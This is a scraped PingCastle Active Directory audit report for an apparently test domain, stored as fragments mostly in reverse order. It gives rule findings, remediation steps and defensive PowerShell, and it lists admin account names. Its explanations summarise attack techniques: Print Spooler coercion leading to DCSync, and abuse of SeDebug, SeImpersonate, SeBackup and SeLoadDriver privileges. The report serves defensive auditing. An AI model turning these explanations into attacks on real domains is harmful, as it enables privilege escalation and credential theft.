The detail can be found in Password policies


_raw: [FR]ANSSI - Privileged group members with weak password policy (vuln2_privileged_members_password)2


_raw:
Advised solution:
To solve the issue, the best way is to either remove the GPO enabling short password, or to modify it in order to increase the password length to at least 8 characters


_raw:
Technical explanation:
A check is performed to identify if the GPO regarding password policy allows less than 8 characters password. Short passwords represent a high risk because they can fairly easily be brute-forced or password sprayed. Most CERT and agencies advise for at least 8 characters (and often this number goes up to 12)


_raw:
Description:
The purpose is to verify if the password policy of the domain enforces users to have at least 8 characters in their password


_raw: Check for short password length in password policy


_raw: <div id="rulesA-MinPwdLen" class="collapse" aria-labelledby="headingrulesA-MinPwdLen" data-parent="#rulesAnomalies">


_raw: Policy where the password length is less than 8 characters: 1


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-MinPwdLen" aria-expanded="false" aria-controls="rulesA-MinPwdLen">


_raw: <table class="table table-striped table-bordered">


_raw:
[MITRE]T1187 Forced Authentication
Details:
The detail can be found in Domain controllers


_raw:
Advised solution:
The Print Spooler service should be deactivated on domain controllers. Please note as a consequence that the Printer Pruning functionality (rarely used) will be unavailable.


_raw:
Technical explanation:
When there's an account with unconstrained delegation configured (which is fairly common) and the Print Spooler service running on a computer, you can get that computers credentials sent to the system with unconstrained delegation as a user. With a domain controller, the TGT of the DC can be extracted allowing an attacker to reuse it with a DCSync attack and obtain all user hashes and impersonate them.


_raw:
Description:
The purpose is to ensure that credentials cannot be extracted from the DC via its Print Spooler service


_raw: Ensure that the Print Spooler service cannot be abused to get the DC credentials


_raw: <div id="rulesA-DC-Spooler" class="collapse" aria-labelledby="headingrulesA-DC-Spooler" data-parent="#rulesAnomalies">


_raw: The spooler service is remotely accessible from 1 DC


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-DC-Spooler" aria-expanded="false" aria-controls="rulesA-DC-Spooler">


_raw: [MITRE]Mitre Att&ck - Mitigation - Active Directory Configuration


_raw:
Documentation:
[MITRE]T1078.003 Valid Accounts: Local Accounts


_raw: Netwrix Auditor monitors the usage of guest accounts and alerts on suspicious activity, enabling prompt detection and response.


_raw: <div class="card-body collapse pb-0 pt-0" id="relevantProducts_A_Guest">


_raw: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">


_raw: <div class="relevantproductsheader mb-2" data-bs-toggle="collapse" aria-expanded="false" href="#relevantProducts_A_Guest" aria-controls="relevantProducts_A_Guest">


_raw:
Advised solution:
You have to find the Guest account and disable it.


_raw: Unless there is a justification about its activation, this represents a security issue because anybody can use this account to connect to any computer without any trace.</p>


_raw:
Technical explanation:
The Guest account is a special account whose SID is S-1-5-domain-501. It is used as a non-nominative account to allow anyone to connect to the Active Directory.


_raw:
Description:
The purpose is to ensure that the Guest account of the domain is not enabled


_raw: <div id="rulesA-Guest" class="collapse" aria-labelledby="headingrulesA-Guest" data-parent="#rulesAnomalies">


_raw: The Guest account of the domain is enabled


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-Guest" aria-expanded="false" aria-controls="rulesA-Guest">


_raw:
[MITRE]Mitre Att&ck - Mitigation - Privileged Account Management
Details:
The detail can be found in LAPS


_raw: [MITRE]T1078.003 Valid Accounts: Local Accounts


_raw: [US]STIG V-36438 - Local administrator accounts on domain systems must not share the same password.


_raw:
Advised solution:
If you don't have any provisioning process or password solution to manage local administrators, you should install the LAPS solution. If you address the risk through alternative measures, you can disregard this finding. Customers using Netwrix PingCastle Pro or Enterprise versions can add this item as an exception.


_raw:
Technical explanation:
LAPS (Local Administrator Password Solution) is the advised solution to handle passwords for the native local administrator account on all workstations, as it is a simple way to handle most of the subject.


_raw:
Description:
The purpose is to make sure that there is a proper password policy in place for the native local administrator account.


_raw: Check if the LAPS tool to handle the native local administrator passwords is installed


_raw: <div id="rulesA-LAPS-Not-Installed" class="collapse" aria-labelledby="headingrulesA-LAPS-Not-Installed" data-parent="#rulesAnomalies">


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesA-LAPS-Not-Installed" aria-expanded="false" aria-controls="rulesA-LAPS-Not-Installed">


_raw: Anomalies rule details [19 rules matched on a total of 73]


_raw: It is about specific security control points


_raw: <div class="col-lg-9 col-md-8 col-xs-6 col-sm-6">


_raw: <div class=" col-lg-3 col-md-4 col-xs-6 col-sm-6">


_raw: <div class="card-body collapse show" id="panelsectionAnomaliesanalysis">


_raw: Trusts rule details [0 rules matched on a total of 12]


_raw: It is about links between two Active Directories


_raw: <div class="card-body collapse show" id="panelsectionTrusts">


_raw: <!-- Section Privileged Accounts end -->


_raw: <!-- Accordion rulesPrivilegedAccounts end -->


_raw:
OU

OU=Domain Controllers,DC=allports,DC=local


_raw: <table class="table table-striped table-bordered">


_raw:
[MITRE]Mitre Att&ck - Mitigation - Active Directory Configuration
Details:
The detail can be found in Delegations


_raw: Note: only 10 will be listed below. Checkout the Delegations section for the complete list.<br>


_raw: Get-ADOrganizationalUnit -filter {name -like "*"} -Properties ProtectedFromAccidentalDeletion | where {$_.ProtectedFromAccidentalDeletion -eq $false} | Set-ADOrganizationalUnit -ProtectedFromAccidentalDeletion $true


_raw: Get-ADOrganizationalUnit -filter {name -like "*"} -Properties ProtectedFromAccidentalDeletion | format-table Name,ProtectedFromAccidentalDeletion


_raw: You can list unprotected OU using the PowerShell command:<br>


_raw: * Click "Apply" and then "OK" to save the changes.<br>


_raw: * In the "Object" tab, check the "Protect object from accidental deletion" option.<br>


_raw: * Right-click on the OU or Container, select "Properties."<br>


_raw: * Locate the OU or Container that requires protection.<br>


_raw: * Open the Active Directory Users and Computers management console.<br>


_raw: When this option is enabled, it adds an additional layer of security, preventing unintended deletions.<br>


_raw:
Advised solution:
To safeguard against accidental deletions, it is essential to enable the "Protect object from accidental deletion" option for critical OUs and Containers.


_raw: This protection consists of a Deny ACE added to the NTSecurityDescriptor attribute applied to Everyone with the flag set to Delete and DeleteTree.<br>


_raw: This way these objects cannot be deleted, unless the protection is removed. This Active Directory feature was first introduced in Windows Server 2008.<br>


_raw:
Technical explanation:
In Active Directory, Organizational Units can be protected from accidental deletion (reads: using the del key in the wrong place at the wrong time).


_raw:
Description:
The purpose is to ensure that Organizational Units (OUs) and Containers in Active Directory are protected to prevent accidental deletion, which could lead to data loss and disruptions in the network infrastructure.


_raw: Check if OUs and Containers are protected from accidental deletion.


_raw: <div id="rulesP-UnprotectedOU" class="collapse" aria-labelledby="headingrulesP-UnprotectedOU" data-parent="#rulesPrivilegedAccounts">


_raw: OU without the accidental deletion protection have been found


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesP-UnprotectedOU" aria-expanded="false" aria-controls="rulesP-UnprotectedOU">


_raw:
Account	Email

awhite1 	REDACTED_EMAIL

lclark1 	REDACTED_EMAIL

mrivera1 	REDACTED_EMAIL

esmith 	REDACTED_EMAIL

dcarter 	REDACTED_EMAIL

iclark1 	REDACTED_EMAIL

shill 	REDACTED_EMAIL

emoore 	REDACTED_EMAIL

pbrooks 	REDACTED_EMAIL

kmiller 	REDACTED_EMAIL

aross1 	REDACTED_EMAIL

jtaylor 	REDACTED_EMAIL

bfinn 	REDACTED_EMAIL

khill 	REDACTED_EMAIL

jyoung 	REDACTED_EMAIL

efisher 	REDACTED_EMAIL

nnelson 	REDACTED_EMAIL

ocollins 	REDACTED_EMAIL

jporter 	REDACTED_EMAIL

lvega 	REDACTED_EMAIL

ecarter 	REDACTED_EMAIL


_raw: <table class="table table-striped table-bordered">


_raw:
[MITRE]Mitre Att&ck - Mitigation - Privileged Account Management
Details:


_raw: Netwrix Threat Manager monitors and optionally blocks changes to admin account properties, to detect potential misconfigurations or abuse and ensure security and compliance.


_raw: Netwrix Directory Manager</a> helps automate account creation while enforcing policies to exclude specific attributes, such as email enablement, ensuring compliance and reducing the risk of misconfiguration. </li>


_raw: <div class="card-body collapse pb-0 pt-0" id="relevantProducts_P_AdminEmailOn">


_raw: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">


_raw: <div class="relevantproductsheader mb-2" data-bs-toggle="collapse" aria-expanded="false" href="#relevantProducts_P_AdminEmailOn" aria-controls="relevantProducts_P_AdminEmailOn">


_raw: Keep in mind that this action will silence the alert, but the risk may still be present.<br>


_raw: To remove this alert, you have to edit the properties of the user account and clear the email attribute.<br>


_raw: We highly recommend that you implement this practice to lower the risk of an admin compromise.<br>


_raw:
Advised solution:
Ensure that administrators do not use the privileged account for browsing the internet or receiving emails.


_raw: This means that, in practice, administrators should have two separate Windows accounts: one for regular activities and one for performing privileged actions.<br>


_raw: In this model, low privileged actions cannot be made by highly privileged accounts such as admins.<br>


_raw:
Technical explanation:
The recommended approach for secure administration is to implement a Tier Zero model.


_raw:
Description:
The purpose is to ensure proper isolation of administrative activities and to prevent any admin from having an email address configured in the domain.


_raw: Check if administrator accounts are email enabled.


_raw: <div id="rulesP-AdminEmailOn" class="collapse" aria-labelledby="headingrulesP-AdminEmailOn" data-parent="#rulesPrivilegedAccounts">


_raw: Number of admin account with an email address defined: 21


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesP-AdminEmailOn" aria-expanded="false" aria-controls="rulesP-AdminEmailOn">


_raw:
[MITRE]Mitre Att&ck - Mitigation - Privileged Account Management
Details:
The detail can be found in Admin Groups


_raw: [FR]ANSSI - Recommandations de sécurité relatives à Active Directory - R13 [subsection.3.2]


_raw:
Documentation:
[US]STIG V-72835 - Membership to the Schema Admins group must be limited


_raw:
Advised solution:
Remove the accounts or groups belonging to the "schema administrators" group.


_raw:
Technical explanation:
The group "Schema Admins" is used to give permissions to alter the schema. Once a modification is performed on the schema such as new objects, it cannot be undone. This can result in a rebuild of the domain. The best practice is to have this group empty and to add an administrator when a schema update is required, then remove this group membership.


_raw:
Description:
The purpose is to ensure that no account can make unexpected modifications to the schema


_raw: Avoid unexpected schema modifications which could result in domain rebuild


_raw: <div id="rulesP-SchemaAdmin" class="collapse" aria-labelledby="headingrulesP-SchemaAdmin" data-parent="#rulesPrivilegedAccounts">


_raw: The group Schema Admins is not empty: 1 account(s)


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesP-SchemaAdmin" aria-expanded="false" aria-controls="rulesP-SchemaAdmin">


_raw:
[MITRE]Mitre Att&ck - Mitigation - Audit
Details:
The detail can be found in Domain Information


_raw: Netwrix Recovery for Active Directory ensures fast, complete restoration of deleted objects with all attributes intact—even if the Recycle Bin was never enabled—minimizing downtime and security risks.


_raw: <div class="card-body collapse pb-0 pt-0" id="relevantProducts_P_RecycleBin">


_raw: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">


_raw: <div class="relevantproductsheader mb-2" data-bs-toggle="collapse" aria-expanded="false" href="#relevantProducts_P_RecycleBin" aria-controls="relevantProducts_P_RecycleBin">


_raw: Enable-ADOptionalFeature -Identity 'Recycle Bin Feature' -Scope ForestOrConfigurationSet -Target 'test.mysmartlogon.com'</p>


_raw: Then you can enable it using the PowerShell command:<br>


_raw: You can check it with Get-ADForest or in the Domain Information section.


_raw:
Advised solution:
First, be sure that the forest level is at least Windows Server 2008 R2.


_raw:
Technical explanation:
The Recycle Bin avoids immediate deletion of objects (which can still be partially recovered by its tombstone). This lowers the administration work needed to restore. It also extends the period where traces are available when an investigation is needed.


_raw:
Description:
The purpose is to ensure that the Recycle Bin feature is enabled


_raw: Ensure that the Recycle Bin feature is enabled


_raw: <div id="rulesP-RecycleBin" class="collapse" aria-labelledby="headingrulesP-RecycleBin" data-parent="#rulesPrivilegedAccounts">


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesP-RecycleBin" aria-expanded="false" aria-controls="rulesP-RecycleBin">


_raw:
User

Admin

cloudbase-init

Administrator

awhite1

lclark1

mrivera1

esmith

dcarter

iclark1

shill

emoore

pbrooks

kmiller

aross1

jtaylor

bfinn

khill

jyoung

efisher

nnelson

ocollins

jporter

lvega

ecarter


_raw: <table class="table table-striped table-bordered">


_raw:
[MITRE]Mitre Att&ck - Mitigation - Privileged Process Integrity
Details:
The detail can be found in Admin Groups


_raw: [FR]ANSSI - Privileged accounts outside of the Protected Users group (vuln3_protected_users)3


_raw: [US]STIG V-78131 - Accounts with domain level administrative privileges must be members of the Protected Users group in domains with a domain functional level of Windows 2012 R2 or higher.


_raw:
Points:
10 points if the occurence is greater than or equals than 2


_raw:
Advised solution:
After having reviewed the potential impact on adding users to this group, add the missing privileged accounts to this group.


_raw: That's why this rule is not triggered if only one account is not protected.</p>


_raw: Please also note that a few links (see below) recommends that at least one account is kept outside of the group Protected Users in case there is a permission problem.<br>


_raw: - Prevents any type of Kerberos delegation<br>


_raw: - Prevents password caching on workstations<br>


_raw: - Mandates strong encryption algorithms, such as AES<br>


_raw:
Technical explanation:
The Protected User group is a special security group which automatically applies protections to minimize credential exposure. Starting with Windows 8.1. Older Operating System must be updated to take this protection in account such as the Windows 7 KB2871997 patch.


_raw:
Description:
The purpose is to ensure that all privileged accounts are in the Protected User security group


_raw: Check if all privileged accounts are in the special group Protected Users.


_raw: <div id="rulesP-ProtectedUsers" class="collapse" aria-labelledby="headingrulesP-ProtectedUsers" data-parent="#rulesPrivilegedAccounts">


_raw: Number of admins not in Protected Users: 24


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesP-ProtectedUsers" aria-expanded="false" aria-controls="rulesP-ProtectedUsers">


_raw:
GPO	Account	Privilege

Default Domain Controllers Policy 	Users 	SeDebugPrivilege


_raw: <table class="table table-striped table-bordered">


_raw:
[MITRE]Mitre Att&ck - Mitigation - Active Directory Configuration
Details:
The detail can be found in Privileges


_raw: [FR]ANSSI - Recommandations de sécurité relatives à Active Directory - R18 [subsubsection.3.3.2]


_raw: Netwrix Endpoint Privilege Manager</a> mitigates the risk of dangerous privileges via least privilege management, ensuring users have only necessary access. It creates granular policies for controlling administrative rights, preventing malware, and maintaining compliance. </li>


_raw: Netwrix Threat Manager</a> detects and optionally blocks unauthorized GPO changes that assign dangerous privileges to broad groups like "Everyone", protecting your environment proactively. </li>


_raw: Netwrix Auditor monitors and alerts on GPO changes, ensuring immediate visibility into security risks.


_raw: <div class="card-body collapse pb-0 pt-0" id="relevantProducts_P_PrivilegeEveryone">


_raw: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">


_raw: <div class="relevantproductsheader mb-2" data-bs-toggle="collapse" aria-expanded="false" href="#relevantProducts_P_PrivilegeEveryone" aria-controls="relevantProducts_P_PrivilegeEveryone">


_raw: As an alternative, the file GptTmpl.inf can be manually edited.</p>


_raw: Computer configuration -> Policies -> Windows Settings ->Security Settings -> Local Policies -> User Rights Assignment.<br>


_raw: Most of the settings are located in :<br>


_raw:
Advised solution:
Locate the GPO specified in Details and remove the privilege.


_raw: SeManageVolumePrivilege can be used to reset the security descriptor on the C volume and thus, change the inherited permissions to critical files</p>


_raw: SeSecurityPrivilege can be used to clear the Windows Security Event Log and shrink it to make events flushed soon. Also read security log and view events where the user inverted the login and its password.<br>


_raw: SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege can be abused to impersonate privileged tokens. These tokens can be retrieved by establishing security context such as Local DCOM DCE/RPC reflection.<br>


_raw: SeCreateTokenPrivilege can be used to create a custom token with all privileges and thus be abused like SeTcbPrivilege <br>


_raw: SeTakeOwnershipPrivilege can be used to take ownership of any secureable object in the system including a service registry key. Then to change its ACL to define its own service running as LocalSystem.<br>


_raw: SeBackupPrivilege can be used to backup Windows registry and use third party tools for extracting local NTLM hashes.<br>


_raw: SeRestorePrivilege can be used to modify a service running as local system and startable by all users to a chosen one.<br>


_raw: SeDebugPrivilege is the privilege used to debug program and to access any program's memory. It can be used to create a new process and set the parent process to a privileged one.<br>


_raw: SeTcbPrivilege is the privilege used to "Act on behalf the operating system". This is the privilege reserved to the SYSTEM user. This procedure allows any user to act as SYSTEM.<br>


_raw: SeLoadDriverPrivilege can be used to take control of the system by loading a specifically designed driver. This procedure can be performed by low privileged users as the driver can be defined in HKCU.<br>


_raw:
Technical explanation:
To perform special operations, the operating system relies on privileges. They can be displayed by running the command: whoami /all.


_raw:
Description:
The purpose is to ensure that standard users are not granted dangerous privileges


_raw: Ensure that dangerous privileges are not granted to everyone by GPO


_raw: <div id="rulesP-PrivilegeEveryone" class="collapse" aria-labelledby="headingrulesP-PrivilegeEveryone" data-parent="#rulesPrivilegedAccounts">


_raw: Number of privileges granted by GPO to any user: 1


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesP-PrivilegeEveryone" aria-expanded="false" aria-controls="rulesP-PrivilegeEveryone">


_raw:
DN	Reason

CN=Admin,CN=Users,DC=allports,DC=local 	Not a protected user

CN=cloudbase-init,CN=Users,DC=allports,DC=local 	Not a protected user

CN=Administrator,CN=Users,DC=allports,DC=local 	Not a protected user

CN=Axel White,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Logan Clark,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Michael Rivera,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Erick Smith,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=David Carter,OU=Executive,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Isabella Clark,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Sarah Hill,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Eleanor Moore,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Penelope Brooks,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Kevin Miller,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Alessia Ross,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=John Taylor,OU=Executive,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Bailey Finn,OU=Administration,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Kai Hill,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Josie Young,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Ethan Fisher,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Nora Nelson,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Olivia Collins,OU=Information Technology,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=James Porter,OU=Executive,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Linda Vega,OU=Executive,OU=Departments,DC=allports,DC=local 	Not a protected user

CN=Emily Carter,OU=Executive,OU=Departments,DC=allports,DC=local 	Not a protected user


_raw: <table class="table table-striped table-bordered">


_raw:
[MITRE]Mitre Att&ck - Mitigation - Active Directory Configuration
Details:
The detail can be found in Admin Groups


_raw:
Documentation:
[US]STIG V-36435 - Delegation of privileged accounts must be prohibited.


_raw: Please note that there is a section below in this report named "Admin Groups" which gives more information.</p>


_raw: If you want to enable the check-box "This account is sensitive and cannot be delegated" but this is not possible because the box is not present (typically for GMSA accounts), you can add the flag manually by adding the number 1048576 to the attribute useraccountcontrol of the account.<br>


_raw:
Advised solution:
To correct the situation, you should make sure that all your Administrator Accounts have the check-box "This account is sensitive and cannot be delegated" active or add your Administrator Accounts to the built-in group "Protected Users" if your domain functional level is at least Windows Server 2012 R2 (some functionalities may not work properly afterwards, you should check the official documentation).


_raw:
Technical explanation:
Without the flag "This account is sensitive and cannot be delegated" any account can be impersonated by some service account. It is a best practice to enforce this flag on administrators accounts.


_raw:
Description:
The purpose is to ensure that all Administrator Accounts have the configuration flag "this account is sensitive and cannot be delegated" (or are members of the built-in group "Protected Users" when your domain functional level is at least Windows Server 2012 R2).


_raw: At least one administrator account can be delegated


_raw: <div id="rulesP-Delegated" class="collapse" aria-labelledby="headingrulesP-Delegated" data-parent="#rulesPrivilegedAccounts">


_raw: Presence of Admin accounts which do not have the flag "This account is sensitive and cannot be delegated": 24


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesP-Delegated" aria-expanded="false" aria-controls="rulesP-Delegated">


_raw: [MITRE]Mitre Att&ck - Mitigation - Privileged Account Management


_raw:
Documentation:
[FR]ANSSI - Recommandations de sécurité relatives à Active Directory - R36 [subsection.3.6]


_raw: then 20 points if the occurence is greater than or equals than 15</p>


_raw:
Points:
30 points if the occurence is greater than or equals than 30


_raw: Netwrix Auditor</a> monitors and alerts on activity from inactive admin accounts, enabling early detection of potential misuse or malicious activity. </li>


_raw: Netwrix Directory Manager enforces lifecycle management for identities and their associated accounts, eliminating standing admin accounts by requiring users to request permissions only when needed.


_raw: <div class="card-body collapse pb-0 pt-0" id="relevantProducts_P_Inactive">


_raw: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">


_raw: <div class="relevantproductsheader mb-2" data-bs-toggle="collapse" aria-expanded="false" href="#relevantProducts_P_Inactive" aria-controls="relevantProducts_P_Inactive">


_raw:
Advised solution:
To correct the situation, you should make sure that all your Administrator Account(s) are "Active", meaning that you should remove Administrator rights if an account is set as not "Active"


_raw:
Technical explanation:
Accounts within the AD have attributes indicating the creation date of the account and the last login of this account. Accounts which haven't have a login since 6 months or created more than 6 months ago without any login are considered inactive. If an Administrator Account is set as inactive, the reason for having Administrator rights should be strongly justified.


_raw:
Description:
The purpose is to ensure that all Administrator Accounts in the AD are necessary and used


_raw: Check for inactive administrator accounts


_raw: <div id="rulesP-Inactive" class="collapse" aria-labelledby="headingrulesP-Inactive" data-parent="#rulesPrivilegedAccounts">


_raw: More than 30% of admins are inactive: 83%


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesP-Inactive" aria-expanded="false" aria-controls="rulesP-Inactive">


_raw: <!-- Accordion rulesPrivilegedAccounts -->


_raw: Privileged Accounts rule details [8 rules matched on a total of 46]


_raw: It is about administrators of the Active Directory


_raw: <div class="col-lg-9 col-md-8 col-xs-6 col-sm-6">


_raw: <div class=" col-lg-3 col-md-4 col-xs-6 col-sm-6">


_raw: <div class="card-body collapse show" id="panelsectionPrivilegedAccounts">


_raw: <!-- Accordion rulesStaleObjects end -->


_raw:
GPO	Reason

Windows default without an active GPO 	MaxIdleTime is not set

Windows default without an active GPO 	MaxDisconnectionTime is not set

Windows default without an active GPO 	fDisableCpm is not set


_raw: <table class="table table-striped table-bordered">


_raw:
[MITRE]Mitre Att&ck - Mitigation - Active Directory Configuration
Details:


_raw: This rule is active if nothing is set or if the time limit is set to NEVER.<br>


_raw: Do not allow client printer redirection: Enabled (aka fDisableCpm)<br>


_raw: Set time limit for active but idle Remote Desktop Services sessions: 8h (aka MaxIdleTime)<br>


_raw: Set time limit for disconnected sessions: 2h (aka MaxDisconnectionTime)<br>


_raw: PingCastle recommends to set the following Policy:<br>


_raw: The details of this rule is located in Printer Redirection and Session Time Limits.<br>


_raw:
Advised solution:
The Terminal Services configuration can be found in Policies / Administrative Templates / Windows Components / Remote Desktop Services / Remote Desktop Session Host


_raw: It can also be a bypass for copy / paste restriction and it is recommended to deny it in most admin bastion.<br>


_raw: However due to past vulnerabilites with the Printer spooler, the complexity of the underlying protocol, the relative absence of need to this feature, we recommend to block it.<br>


_raw: The printer redirection has no known attack pattern. <br>


_raw: Another alternative is if the session is not secure, to capture the credentials in memory.<br>


_raw: Indeed, you can access the local drive by default and push a malicious file such as a login script in the start menu of the remote user. <br>


_raw: If found, the hacker can exploit this information by targeting this computer, or if the session is still active, hijack it and impact the client computer.<br>


_raw: This can be done by attempting to open the user registry and checking if there is an access denied error or if the registry hive is not available at all. <br>


_raw:
Technical explanation:
It is a common practice for hackers to look for open sessions on remote servers.


_raw:
Description:
This rule verifies the recommended configuration for Terminal Services.


_raw: Verify Terminal Services configuration best practices in GPO


_raw: <div id="rulesS-TerminalServicesGPO" class="collapse" aria-labelledby="headingrulesS-TerminalServicesGPO" data-parent="#rulesStaleObjects">


_raw: The GPO are not pushing recommended configuration for Terminal Services


_raw: <button class="btn btn-link" data-bs-toggle="collapse" data-bs-target="#rulesS-TerminalServicesGPO" aria-expanded="false" aria-controls="rulesS-TerminalServicesGPO">


_raw:
[MITRE]T1558 Steal or Forge Kerberos Tickets
Details:
If activated, the detail can be found in Security settings


_raw: The safest settings is "Fail authentication requests when Kerberos armoring is not available" but it should be enabled only if the clients support Kerberos armoring.</p>


_raw: The policy should be set to at least "Supported".<br>


_raw: then enable the policy "KDC support for claims, compound authentication and Kerberos armoring".<br>